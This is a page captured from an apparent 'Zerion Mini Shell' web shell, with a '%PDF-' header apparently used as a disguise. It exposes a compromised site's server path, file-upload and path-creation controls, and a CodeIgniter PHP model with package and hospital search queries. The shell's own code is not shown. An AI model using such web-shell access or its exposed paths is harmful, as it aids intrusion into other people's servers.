%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/www/boniface/application/modules/Listing - Copy/models/
Upload File :
Create Path :
Current File : /home/ugotscom/www/boniface/application/modules/Listing - Copy/models/listing_model.php

<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Listing_model extends CI_Model {

   

    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

public function searchlisting($city_to){
		$this->db->select('id,package_name,days_nights,main_image,price,city');
		$this->db->from('packages');
		$this->db->where('city',$city_to);
		$this->db->where('status','1');
		$query = $this->db->get();
    	$row = $query->result_array();
		return $row;	
	
}
	public function hsearchlisting($condition){
		$this->db->select('hospital_id,hospital_name,image');
		$this->db->from('hospitals');
		$this->db->where($condition);
		$this->db->where('status','1');
		$query = $this->db->get();
    	
		$row = $query->result_array();

		return $row;	
	
}
	
 
}

Zerion Mini Shell 1.0